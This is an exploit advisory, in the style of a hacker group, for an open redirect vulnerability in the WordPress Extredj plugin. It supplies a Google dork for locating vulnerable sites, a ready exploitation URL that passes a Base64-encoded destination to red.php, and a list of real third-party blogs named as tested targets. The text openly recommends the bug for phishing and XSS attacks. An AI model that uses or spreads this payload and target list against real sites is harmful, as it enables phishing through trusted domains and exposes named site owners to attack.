WordPress Extredj Open Redirection

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Wordpress (Extredj Plugin) - Open Redirect Vulnerability  
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
[+] Author : KnocKout  
[~] Contact : [email protected]  
[~] Skype : [email protected]  
[~] HomePage : http://milw00rm.com - http://h4x0resec.blogspot.com   
[~] Greetz : b3mb4m, ZoRLu, Sen Haxor, Ne0-h4ck3r, KedAns-Dz ( milw00rm.com )  
===================================================================  
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
|~Web App. : Wordpress  
|~Plugin : Extredj   
|~Affected Version : ALL  
|~Software : https://pluginu.com/extredj/  
|~RISK : Medium  
|~Google Dork : inurl:/wp-content/plugins/extredj  
===================================================================  
======================Info=========================================  
danger, remained on the offensive creativity,  
It can be worked out for phishing and XSS attacks.  
=====================Exploitation=================================================  
http://[TARGET]/wp-content/plugins/extredj/red.php?ext= Base64 encoded URL.  
Example : http://[TARGET]/wp-content/plugins/extredj/red.php?ext=aHR0cDovL21pbHcwMHJtLmNvbQ==  
=====================Tested on====================================================  
http://trendsblog.ru   
http://gamingblog.ru   
http://polblog.ru   
http://murketolog.ru   
http://marketblog.ru  
http://bikingblog.ru/  
===================================================================================  
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